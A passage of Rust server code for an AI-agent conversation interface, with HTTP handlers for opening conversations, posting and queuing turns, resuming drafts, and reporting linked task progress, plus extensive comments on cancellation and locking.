9036            .turns
9037            .iter()
9038            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9039            .collect();
9040        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
9041            .turns
9042            .iter()
9043            .map(|turn| {
9044                if turn.messages.is_empty() {
9045                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
9046                } else {
9047                    turn.messages
9048                        .iter()
9049                        .map(|message| {
9050                            notice_markdown(
9051                                message.sender.unwrap_or(talk::Sender::Operator),
9052                                &message.body,
9053                                message.display.as_ref(),
9054                            )
9055                        })
9056                        .collect()
9057                }
9058            })
9059            .collect();
9060        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
9061            .pending_messages
9062            .iter()
9063            .map(|message| {
9064                notice_markdown(
9065                    message.sender.unwrap_or(talk::Sender::Operator),
9066                    &message.body,
9067                    message.display.as_ref(),
9068                )
9069            })
9070            .collect();
9071        for nodes in &mut turn_bodies_md {
9072            references.markdown(nodes);
9073        }
9074        for nodes in turn_messages_md
9075            .iter_mut()
9076            .flatten()
9077            .chain(pending_messages_md.iter_mut())
9078            .flatten()
9079        {
9080            references.markdown(nodes);
9081        }
9082        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
9083        let persona_name = persona::find(specs, &talk.persona)
9084            .filter(|p| !p.is_default())
9085            .map(|p| p.name);
9086        let mut avatar_persona = persona::find(specs, &talk.persona)
9087            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
9088        // A removed configured persona may still have an override and old talks.
9089        if avatar_persona.id != talk.persona
9090            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
9091        {
9092            avatar_persona.id.clone_from(&talk.persona);
9093            avatar_persona.icon = None;
9094        }
9095        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
9096        let approvals_store = ask::Questions::at(home.join("questions"));
9097        let merge_approvals = talk
9098            .notified
9099            .iter()
9100            .filter_map(|key| key.strip_prefix("question:"))
9101            .filter_map(|id| approvals_store.get(id).ok())
9102            .filter(|q| crate::task_chat::approval_offered(&talk, q))
9103            .filter_map(|q| {
9104                Some(ChatApproval {
9105                    question: q.id,
9106                    target: q.merge_target?,
9107                })
9108            })
9109            .collect();
9110        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
9111        Self {
9112            turn_bodies_md,
9113            turn_messages_md,
9114            pending_messages_md,
9115            merge_approvals,
9116            thinking,
9117            context,
9118            operator_name,
9119            persona_name,
9120            persona_avatar,
9121            magi_avatar: magi_icon_url(home),
9122            operator_avatar: operator_icon_url(home),
9123            talk,
9124        }
9125    }
9126}
9127
9128/// Parse only the user-facing representation of an explicitly identified MAGI send.
9129fn notice_markdown(
9130    sender: talk::Sender,
9131    body: &str,
9132    display: Option<&crate::prompt::NoticeDisplay>,
9133) -> Option<Vec<md::Node>> {
9134    if sender != talk::Sender::Magi {
9135        return None;
9136    }
9137    let text = if let Some(display) = display {
9138        display.facts.as_str()
9139    } else {
9140        // Unknown completion templates may contain internal directives. Never
9141        // promote their agent input to the Markdown display surface.
9142        if crate::prompt::is_completion_notice(body)
9143            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
9144        {
9145            return None;
9146        }
9147        body.strip_prefix("magi: ").unwrap_or(body)
9148    };
9149    Some(md::to_nodes(text, &md::ImageBase::None))
9150}
9151
9152/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
9153/// conversation has filed, so the phone can follow one from inside the
9154/// conversation that asked for it rather than hunting the Queue for a task id
9155/// it may not remember.
9156#[derive(Debug, Serialize)]
9157struct TalkDetailView {
9158    #[serde(flatten)]
9159    view: TalkView,
9160    tasks: Vec<TaskView>,
9161    task_progress: TalkTaskProgress,
9162    goal_link: Option<TalkGoalLink>,
9163    goal_link_for: Timestamp,
9164    /// The agents this talk's repository can switch to; empty when its
9165    /// configuration cannot be read, which must not fail the whole detail.
9166    roster: Vec<RosterEntry>,
9167    /// The personas the conversation can pick from. The built-ins are always
9168    /// listed, even when the repository's configuration cannot be read.
9169    personas: Vec<PersonaEntry>,
9170}
9171
9172/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
9173#[derive(Debug, Serialize)]
9174struct TalkTaskProgress {
9175    state: &'static str,
9176    total: usize,
9177    done: usize,
9178    counts: std::collections::BTreeMap<&'static str, usize>,
9179    unfinished_ids: Vec<String>,
9180}
9181
9182fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
9183    let mut counts = std::collections::BTreeMap::from([
9184        ("queued", 0),
9185        ("running", 0),
9186        ("done", 0),
9187        ("failed", 0),
9188        ("held", 0),
9189        ("blocked", 0),
9190        ("parked", 0),
9191    ]);
9192    let mut unfinished_ids = Vec::new();
9193    for task in tasks {
9194        *counts.entry(task.status.as_str()).or_default() += 1;
9195        if task.status != TaskStatus::Done {
9196            unfinished_ids.push(task.id.clone());
9197        }
9198    }
9199    TalkTaskProgress {
9200        state: if tasks.is_empty() {
9201            "none"
9202        } else if unfinished_ids.is_empty() {
9203            "complete"
9204        } else {
9205            "incomplete"
9206        },
9207        total: tasks.len(),
9208        done: tasks.len() - unfinished_ids.len(),
9209        counts,
9210        unfinished_ids,
9211    }
9212}
9213
9214/// Prefer a referenced task's current Run or Task, then an explicitly
9215/// referenced same-repository Run. Missing/deleted records leave the goal readable.
9216#[derive(Debug, Serialize)]
9217struct TalkGoalLink {
9218    goal: String,
9219    kind: &'static str,
9220    id: String,
9221}
9222
9223fn talk_goal_link(talk: &Talk, queue: &Queue, runs: &FsPath) -> Option<TalkGoalLink> {
9224    let goal = crate::chat_goal::Goal::selected(talk)?;
9225    let repo = goal.effective_repo(&talk.repo);
9226    let valid_run = |id: &str| {
9227        plain_record_id(id)
9228            && read_run(runs, id).is_ok_and(|state| {
9229                state.id == id
9230                    && crate::chat_goal::require_repo("run", id, &state.repo, repo).is_ok()
9231            })
9232    };
9233    for id in goal.tasks.iter().rev() {
9234        let Ok(task) = crate::chat_goal::task_record(queue, id, repo) else {
9235            continue;
9236        };
9237        // Repository reassignments retain historical runs. Only this task's
9238        // current execution can be presented as the goal's current Run.
9239        if let Some(run) = task.execution_runs().last()
9240            && valid_run(run)
9241        {
9242            return Some(TalkGoalLink {
9243                goal: goal.id.clone(),
9244                kind: "run",
9245                id: run.clone(),
9246            });
9247        }
9248        return Some(TalkGoalLink {
9249            goal: goal.id.clone(),
9250            kind: "task",
9251            id: task.id,
9252        });
9253    }
9254    for id in goal.runs.iter().rev() {
9255        if valid_run(id) {
9256            return Some(TalkGoalLink {
9257                goal: goal.id.clone(),
9258                kind: "run",
9259                id: id.clone(),
9260            });
9261        }
9262    }
9263    None
9264}
9265
9266/// One persona as the talk's persona selector shows it.
9267#[derive(Debug, Serialize)]
9268struct PersonaEntry {
9269    id: String,
9270    name: String,
9271    /// Avatar URL, see [`TalkView::persona_avatar`].
9272    avatar: String,
9273}
9274
9275/// One roster agent as the talk's agent selector shows it.
9276#[derive(Debug, Serialize)]
9277struct RosterEntry {
9278    id: String,
9279    kind: AgentKind,
9280    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
9281    runnable: bool,
9282}
9283
9284/// Bounded summaries; `/page` carries a cursor for older membership.
9285async fn talks_list(
9286    State(ui): State<Arc<Ui>>,
9287    Query(q): Query<ListQuery>,
9288    headers: header::HeaderMap,
9289) -> ApiResult<Json<Vec<TalkListView>>> {
9290    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9291        let limit = q.limit.unwrap_or(50).min(50);
9292        let ids = if let Some(ids) = q.ids {
9293            ids.split(',')
9294                .filter(|id| plain_record_id(id))
9295                .take(limit)
9296                .map(str::to_owned)
9297                .collect()
9298        } else {
9299            page_ids(&ui, true, PageQuery::default())?
9300                .0
9301                .into_iter()
9302                .take(limit.min(STORE_PAGE_SIZE))
9303                .collect()
9304        };
9305        Ok(Json(talk_rows(&ui, ids, &headers)))
9306    })
9307    .await
9308}
9309
9310/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
9311/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
9312/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
9313/// end still opens a talk against an older binary.
9314#[derive(Debug, Default, Deserialize)]
9315#[serde(default)]
9316struct NewTalk {
9317    agent: Option<String>,
9318    repo: Option<PathBuf>,
9319    /// Remembered choices from the browser. Soft: kept as raw JSON so a
9320    /// wrong type is dropped like a stale value instead of failing the request;
9321    /// each falls back to its default on its own (see [`talk::begin_with`]).
9322    preferred_agent: Option<serde_json::Value>,
9323    persona: Option<serde_json::Value>,
9324    implementers: Option<serde_json::Value>,
9325}
9326
9327/// `POST /api/talks` - open a conversation. Takes no agent turn: see
9328/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
9329async fn talk_post(
9330    State(ui): State<Arc<Ui>>,
9331    body: std::result::Result<Json<NewTalk>, JsonRejection>,
9332) -> ApiResult<impl IntoResponse> {
9333    // An absent body, or an empty one, is the normal way to open a talk - see
9334    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
9335    // rather than refused.
9336    let body = match body {
9337        Ok(Json(body)) => body,
9338        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
9339        Err(e) => return Err(ApiError::bad_request(e.body_text())),
9340    };
9341    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
9342    let cfg = config_for(&repo).await?;
9343    let view = blocking(move || {
9344        let preferred = talk::Preferred {
9345            agent: body
9346                .preferred_agent
9347                .as_ref()
9348                .and_then(|v| v.as_str())
9349                .map(str::to_owned),
9350            persona: body
9351                .persona
9352                .as_ref()
9353                .and_then(|v| v.as_str())
9354                .map(str::to_owned),
9355            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
9356        };
9357        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
9358        let thinking = ui.is_thinking(&talk.id);
9359        Ok(TalkView::new(talk, thinking, &ui))
9360    })
9361    .await?;
9362    Ok((StatusCode::CREATED, Json(view)))
9363}
9364
9365/// Transcript first: unrelated queue history and repository probes are deferred.
9366async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
9367    // Keep transcript reads independent of sections and the runtime blocking pool.
9368    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
9369        let id = resolve_talk(&ui.talks, &id)?;
9370        let talk = ui.talks.get(&id)?;
9371        let thinking = ui.is_thinking_observed(&id);
9372        // The browser already resolves Markdown text/code references after
9373        // rendering. A cold reference/review index must not gate the transcript.
9374        Ok(Json(TalkView::with_references(
9375            talk,
9376            thinking,
9377            None,
9378            &ui.home,
9379            &id_links::IdIndex::default(),
9380        )))
9381    })
9382    .await
9383}
9384
9385async fn talk_sections(
9386    State(ui): State<Arc<Ui>>,
9387    Path(id): Path<String>,
9388) -> ApiResult<Json<serde_json::Value>> {
9389    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
9390        let id = resolve_talk(&ui.talks, &id)?;
9391        let talk = ui.talks.get(&id)?;
9392        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9393        let task_progress = talk_task_progress(&tasks);
9394        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9395        let tasks: Vec<_> = tasks
9396            .into_iter()
9397            .map(|task| {
9398                serde_json::json!({
9399                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
9400                })
9401            })
9402            .collect();
9403        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9404        let roster: Vec<_> = cfg
9405            .as_ref()
9406            .map(|cfg| {
9407                cfg.agents
9408                    .iter()
9409                    .map(|a| RosterEntry {
9410                        id: a.id.clone(),
9411                        kind: a.kind,
9412                        runnable: agent::installed(a),
9413                    })
9414                    .collect()
9415            })
9416            .unwrap_or_default();
9417        let specs = cfg
9418            .as_ref()
9419            .map(|cfg| cfg.talk.personas.clone())
9420            .unwrap_or_default();
9421        let personas: Vec<_> = persona::catalog(&specs)
9422            .into_iter()
9423            .map(|p| PersonaEntry {
9424                avatar: avatar_url(&ui.home, &talk.id, &p),
9425                id: p.id,
9426                name: p.name,
9427            })
9428            .collect();
9429        let active_persona = persona::find(&specs, &talk.persona)
9430            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
9431        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
9432        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
9433        Ok(Json(serde_json::json!({
9434            "tasks": tasks, "task_progress": task_progress,
9435            "goal_link": goal_link, "goal_link_for": talk.updated_at,
9436            "roster": roster, "personas": personas,
9437            "context": talk::context_usage(&talk, cfg.as_ref()),
9438            "context_for": talk.updated_at,
9439            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
9440            "persona_name": persona_name,
9441            "persona_avatar": persona_avatar,
9442        })))
9443    })
9444    .await
9445}
9446
9447/// `GET /api/talks/{id}`.
9448async fn talk_detail(
9449    State(ui): State<Arc<Ui>>,
9450    Path(id): Path<String>,
9451) -> ApiResult<Json<TalkDetailView>> {
9452    blocking(move || {
9453        let id = resolve_talk(&ui.talks, &id)?;
9454        let talk = ui.talks.get(&id)?;
9455        let thinking = ui.is_thinking_observed(&talk.id);
9456        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9457        let task_progress = talk_task_progress(&tasks);
9458        let goal_link = talk_goal_link(&talk, &ui.queue, &ui.runs);
9459        let goal_link_for = talk.updated_at;
9460        let tasks = tasks.into_iter().map(TaskView::from).collect();
9461        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9462        let roster = cfg
9463            .as_ref()
9464            .map(|cfg| {
9465                cfg.agents
9466                    .iter()
9467                    .map(|a| RosterEntry {
9468                        id: a.id.clone(),
9469                        kind: a.kind,
9470                        runnable: agent::installed(a),
9471                    })
9472                    .collect()
9473            })
9474            .unwrap_or_default();
9475        let specs = cfg
9476            .as_ref()
9477            .map(|cfg| cfg.talk.personas.clone())
9478            .unwrap_or_default();
9479        let personas = persona::catalog(&specs)
9480            .into_iter()
9481            .map(|p| PersonaEntry {
9482                avatar: avatar_url(&ui.home, &talk.id, &p),
9483                id: p.id,
9484                name: p.name,
9485            })
9486            .collect();
9487        Ok(Json(TalkDetailView {
9488            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9489            tasks,
9490            task_progress,
9491            goal_link,
9492            goal_link_for,
9493            roster,
9494            personas,
9495        }))
9496    })
9497    .await
9498}
9499
9500/// The body of `POST /api/talks/{id}/say`.
9501///
9502/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9503/// returned - never bytes of its own - so a turn with no images just omits
9504/// the field, which is what an older front end still does.
9505#[derive(Debug, Default, Deserialize)]
9506#[serde(default, deny_unknown_fields)]
9507struct NewTalkTurn {
9508    reply_to: Option<talk::ReplyTarget>,
9509    text: String,
9510    attachments: Vec<String>,
9511}
9512
9513#[derive(Debug, Deserialize)]
9514#[serde(deny_unknown_fields)]
9515struct EditTalkPending {
9516    #[serde(default)]
9517    message: Option<usize>,
9518    text: String,
9519    expected_text: String,
9520    expected_attachments: Vec<String>,
9521}
9522
9523#[derive(Debug, Deserialize)]
9524#[serde(deny_unknown_fields)]
9525struct ClearTalkPending {
9526    expected_text: String,
9527    expected_attachments: Vec<String>,
9528}
9529
9530/// `POST /api/talks/{id}/say` - one turn of the conversation.
9531///
9532/// Not filesystem work, and therefore not routed through [`blocking`]: this
9533/// route spawns an agent CLI and a turn here can run for the whole of
9534/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9535/// research turn is expected to run commands rather than answer from what it
9536/// already knows. Holding an HTTP connection open that long is not a thing
9537/// to ask a phone to do; the operator's message is recorded and answered for
9538/// immediately, and the reply lands in the background, discovered through
9539/// the change stream's `talks_rev` the same way every other update on this
9540/// surface is.
9541async fn talk_say(
9542    State(ui): State<Arc<Ui>>,
9543    Path(id): Path<String>,
9544    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9545) -> ApiResult<(StatusCode, Json<TalkView>)> {
9546    let admission = ui.begin_admission()?;
9547    admitted(admission, async move {
9548    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9549    if body.text.trim().is_empty() && body.attachments.is_empty() {
9550        return Err(ApiError::bad_request("say something"));
9551    }
9552
9553    let id = {
9554        let ui = Arc::clone(&ui);
9555        let asked = id.clone();
9556        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9557    };
9558    // A closed Talk never accepts a new immediate or queued turn. Check this
9559    // before claiming a slot so its ordinary domain refusal is a 409, not an
9560    // incidental failure from the later record/queue write.
9561    {
9562        let ui = Arc::clone(&ui);
9563        let id = id.clone();
9564        blocking(move || {
9565            let talk = ui.talks.get(&id)?;
9566            if !talk.status.open() {
9567                return Err(ApiError::conflict(format!(
9568                    "talk {} is {} and takes no more turns",
9569                    talk.short(),
9570                    talk.status.as_str()
9571                )));
9572            }
9573            Ok(())
9574        })
9575        .await?;
9576    }
9577
9578    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9579    // actually stores, before anything is written - an unknown id is a 4xx
9580    // that names it rather than a turn (or a queued draft) silently missing
9581    // an image.
9582    let attachments = {
9583        let ui = Arc::clone(&ui);
9584        let id = id.clone();
9585        let ids = body.attachments.clone();
9586        blocking(move || {
9587            ids.into_iter()
9588                .map(|att_id| {
9589                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9590                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9591                    })
9592                })
9593                .collect::<ApiResult<Vec<talk::Attachment>>>()
9594        })
9595        .await?
9596    };
9597    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9598        .await.map_err(ApiError::from)?;
9599
9600    // Pending recovery and a new immediate turn are decided under the same
9601    // claim lock. Without that one critical section, a second `/say` can see
9602    // the first request's claim as "busy" and append itself to the recovered
9603    // draft before the first request rejects it.
9604    let start = {
9605        let ui = Arc::clone(&ui);
9606        let id = id.clone();
9607        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9608    };
9609    let turn_guard = match start {
9610        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9611        TalkTurnStart::Pending => {
9612            return Err(ApiError::conflict(
9613                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9614            ));
9615        }
9616        TalkTurnStart::Foreign => {
9617            return Err(ApiError::conflict(
9618                "a turn is already running in another process; try again when it has finished",
9619            ));
9620        }
9621        TalkTurnStart::Busy => {
9622            // A turn is already running: queue rather than refuse. See
9623            // `Ui::begin_talk_turn` and `talk::queue`.
9624            //
9625            // The queue write and the drain it may owe live inside the task
9626            // `tokio::spawn` hands to the runtime, for the same reason the
9627            // immediate path below puts `record` there: a dropped handler
9628            // future must not be able to land between a durable write and
9629            // the task that answers it. `blocking` runs its closure on
9630            // `spawn_blocking`, which finishes whether or not anyone is left
9631            // to receive its result - so a disconnect at the `.await` below
9632            // would otherwise leave the draft persisted and the reclaimed
9633            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9634            // ever started and the queued text stranded until some later
9635            // `say` happened to pick it up. The caller's 202 travels back
9636            // over a `oneshot`, sent the moment the write lands.
9637            let (tx, rx) = tokio::sync::oneshot::channel();
9638            tokio::spawn({
9639                let ui = Arc::clone(&ui);
9640                let id = id.clone();
9641                let said = body.text.clone();
9642                let reply_to = body.reply_to.clone();
9643                async move {
9644                    let written = blocking({
9645                        let ui = Arc::clone(&ui);
9646                        let id = id.clone();
9647                        move || {
9648                            let mut talk = ui.talks.get(&id)?;
9649                            // A test-only stop point, right before the write
9650                            // an interleaving test needs to pin - see
9651                            // `BusyQueueGate`. `None` in every real server:
9652                            // the field only exists under `#[cfg(test)]`.
9653                            #[cfg(test)]
9654                            if let Some(gate) = ui
9655                                .busy_queue_gate
9656                                .lock()
9657                                .unwrap_or_else(PoisonError::into_inner)
9658                                .take()
9659                            {
9660                                let _ = gate.reached.send(());
9661                                let _ = gate.release.recv();
9662                            }
9663                            if let Err(error) = talk::queue_reply(
9664                                &mut talk,
9665                                &ui.talks,
9666                                &said,
9667                                attachments,
9668                                reply_to,
9669                            ) {
9670                                if let Ok(fresh) = ui.talks.get(&id) {
9671                                    if !fresh.status.open() {
9672                                        return Err(ApiError::conflict(format!(
9673                                            "talk {} is {} and takes no more turns",
9674                                            fresh.short(),
9675                                            fresh.status.as_str()
9676                                        )));
9677                                    }
9678                                }
9679                                return Err(
9680                                    if error.to_string().contains("invalid reply target") {
9681                                        ApiError::bad_request("invalid reply target")
9682                                    } else {
9683                                        ApiError::from(error)
9684                                    },
9685                                );
9686                            }
9687                            // The turn that looked busy a moment ago can have
9688                            // finished, found nothing to drain and given up the
9689                            // slot in the gap between that check and this write
9690                            // landing - see `drain_loop`'s own doc for the other
9691                            // half of why that gap would otherwise be able to
9692                            // open at all. Reclaiming the slot here, rather than
9693                            // trusting that whoever held it is still watching, is
9694                            // what stops the text just queued from being stranded
9695                            // until an unrelated future `say` happens to drain
9696                            // it.
9697                            let claim = match ui.begin_queued_talk_turn(&id)? {
9698                                Some(turn_guard) => {
9699                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9700                                    Some((talk.clone(), cfg, turn_guard))
9701                                }
9702                                None => None,
9703                            };
9704                            let thinking = ui.is_thinking(&id);
9705                            Ok((TalkView::new(talk, thinking, &ui), claim))
9706                        }
9707                    })
9708                    .await;
9709                    #[cfg(not(test))]
9710                    {
9711                        match written {
9712                            Ok((view, reclaimed)) => {
9713                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
9714                                drop(reclaimed);
9715                                match launched {
9716                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9717                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9718                                }
9719                            }
9720                            Err(error) => { let _ = tx.send(Err(error)); }
9721                        }
9722                    }
9723                    #[cfg(test)]
9724                    {
9725                    let (view, reclaimed) = match written {
9726                        Ok(pair) => pair,
9727                        Err(e) => {
9728                            // Nobody is listening if the handler's own future
9729                            // was already dropped - that is fine, nothing was
9730                            // persisted and there is no response left to carry
9731                            // this error to.
9732                            let _ = tx.send(Err(e));
9733                            return;
9734                        }
9735                    };
9736                    // If this fails, the caller is gone; the drain below still
9737                    // runs exactly as it would have for a caller that stayed.
9738                    let _ = tx.send(Ok(view));
9739                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9740                        let talks = ui.talks.clone();
9741                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9742                    }
9743                    }
9744                }
9745            });
9746            let view = rx
9747                .await
9748                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9749            return Ok((StatusCode::ACCEPTED, Json(view)));
9750        }
9751    };
9752
9753    let (talk, cfg) = {
9754        let ui = Arc::clone(&ui);
9755        let id = id.clone();
9756        blocking(move || {
9757            let talk = ui.talks.get(&id)?;
9758            let (cfg, _) = Config::discover(&talk.repo, None)?;
9759            Ok((talk, cfg))
9760        })
9761        .await?
9762    };
9763
9764    let talks = ui.talks.clone();
9765    // `record` runs *inside* the spawned task, rather than in this handler
9766    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9767    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9768    // doc), and that drop can land at any `.await` this function makes,
9769    // including one that has already produced its result but not yet
9770    // resumed. A message could end up recorded on disk with the handler
9771    // future gone before it ever reached the `tokio::spawn` that would have
9772    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9773    // that hands the whole future to the runtime as one unit - once made, no
9774    // later drop of *this* handler's own future (that call's return value is
9775    // never held onto here) can reach back in and stop it, so record and the
9776    // hand-off to `respond` are unconditionally atomic from the client's
9777    // point of view. The immediate response this handler owes the caller
9778    // travels back over a `oneshot`, sent the moment `record` succeeds.
9779    let (tx, rx) = tokio::sync::oneshot::channel();
9780    tokio::spawn({
9781        #[cfg(test)]
9782        let ui = Arc::clone(&ui);
9783        let talks = talks.clone();
9784        let id = id.clone();
9785        let said = body.text.clone();
9786        let reply_to = body.reply_to.clone();
9787        let mut talk = talk.clone();
9788        async move {
9789            let recorded = blocking({
9790                let talks = talks.clone();
9791                move || {
9792                    if let Err(error) =
9793                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9794                    {
9795                        if let Ok(fresh) = talks.get(&talk.id) {
9796                            if !fresh.status.open() {
9797                                return Err(ApiError::conflict(format!(
9798                                    "talk {} is {} and takes no more turns",
9799                                    fresh.short(),
9800                                    fresh.status.as_str()
9801                                )));
9802                            }
9803                        }
9804                        return Err(if error.to_string().contains("invalid reply target") {
9805                            ApiError::bad_request("invalid reply target")
9806                        } else {
9807                            ApiError::from(error)
9808                        });
9809                    }
9810                    // `record` mutates `talk` in place to the freshly persisted
9811                    // state (status, pending, and the just-appended operator
9812                    // turn), so returning it here is equivalent to re-reading it
9813                    // from disk - without the extra round trip a re-read would
9814                    // need.
9815                    Ok((said.trim().to_owned(), talk))
9816                }
9817            })
9818            .await;
9819            let (text, talk) = match recorded {
9820                Ok(pair) => pair,
9821                Err(e) => {
9822                    // Nobody is listening if the handler's own future was
9823                    // already dropped - that is fine, there is no response
9824                    // left to carry this error to and nothing was persisted.
9825                    let _ = tx.send(Err(e));
9826                    return;
9827                }
9828            };
9829            #[cfg(not(test))]
9830            {
9831                let _ = (&cfg, &text);
9832                // The reservation becomes durable while this process still
9833                // holds the talk lease. The child waits for that lease; the
9834                // new UI sees its startup reservation immediately.
9835                let result = crate::chat_worker::spawn_recorded_turn(
9836                    &talks, &id, talk.turns.len() - 1,
9837                ).await;
9838                drop(turn_guard);
9839                match result {
9840                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9841                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9842                }
9843            }
9844            #[cfg(test)]
9845            {
9846            let queued = talk.clone();
9847            let mut talk = talk;
9848            let thinking = ui.is_thinking(&id);
9849            // If this fails, the caller is gone; the turn still runs below
9850            // exactly as it would have for a caller that stayed connected.
9851            let _ = tx.send(Ok((queued, thinking)));
9852
9853            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9854                // `respond` records the failure in the transcript itself,
9855                // which is what the phone reads; this line is for the
9856                // operator's terminal.
9857                tracing::warn!("talk {id} turn failed: {e:#}");
9858            }
9859            // Anything `talk::queue` added while the turn above was running
9860            // is still owed an answer - see `drain_loop`.
9861            drain_loop(talk, talks, cfg, id, turn_guard).await;
9862            }
9863        }
9864    });
9865
9866    let (queued, thinking) = rx
9867        .await
9868        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9869
9870    // 202: the operator's message is recorded and a turn is running.
9871    Ok((
9872        StatusCode::ACCEPTED,
9873        Json(TalkView::new(queued, thinking, &ui)),
9874    ))
9875    }).await
9876}
9877
9878/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9879/// changing it. The turn guard is the same per-talk ownership `talk_say`
9880/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9881async fn talk_pending_resume(
9882    State(ui): State<Arc<Ui>>,
9883    Path(id): Path<String>,
9884) -> ApiResult<(StatusCode, Json<TalkView>)> {
9885    let admission = ui.begin_admission()?;
9886    admitted(admission, async move {
9887        let id = {
9888            let ui = Arc::clone(&ui);
9889            let asked = id.clone();
9890            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9891        };
9892        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9893            .await
9894            .map_err(ApiError::from)?;
9895        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9896            return Err(ApiError::conflict(
9897                "a talk turn is already running; the queued draft will be handled by it",
9898            ));
9899        };
9900        let (talk, cfg) = {
9901            let ui = Arc::clone(&ui);
9902            let id = id.clone();
9903            blocking(move || {
9904                let talk = ui.talks.get(&id)?;
9905                if !talk.status.open() {
9906                    return Err(ApiError::conflict(format!(
9907                        "talk {} is {} and takes no more turns",
9908                        talk.short(),
9909                        talk.status.as_str()
9910                    )));
9911                }
9912                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9913                    return Err(ApiError::conflict("there is no queued draft to resume"));
9914                }
9915                let (cfg, _) = Config::discover(&talk.repo, None)?;
9916                Ok((talk, cfg))
9917            })
9918            .await?
9919        };
9920        let view = TalkView::new(talk.clone(), true, &ui);
9921        let talks = ui.talks.clone();
9922        #[cfg(not(test))]
9923        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9924        #[cfg(test)]
9925        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9926        Ok((StatusCode::ACCEPTED, Json(view)))
9927    })
9928    .await
9929}
9930
9931/// Hand off an admitted draft while retaining the talk lease until its
9932/// detached startup reservation is durable.
9933#[cfg(not(test))]
9934async fn detach_talk_turn(
9935    _talk: Talk,
9936    talks: Talks,
9937    _cfg: Config,
9938    id: String,
9939    turn: TalkTurnGuard,
9940) -> ApiResult<()> {
9941    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
9942    drop(turn);
9943    launched.map(|_| ()).map_err(ApiError::from)
9944}
9945
9946#[cfg(test)]
9947async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9948    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9949}
9950
9951/// A settings response must not report idle while its claim is still held.
9952/// Wait until the first drain either releases the claim or promotes a draft.
9953/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9954async fn settle_settings_turn(
9955    talk: Talk,
9956    talks: Talks,
9957    cfg: Config,
9958    id: String,
9959    turn: TalkTurnGuard,
9960    observed: u64,
9961) -> bool {
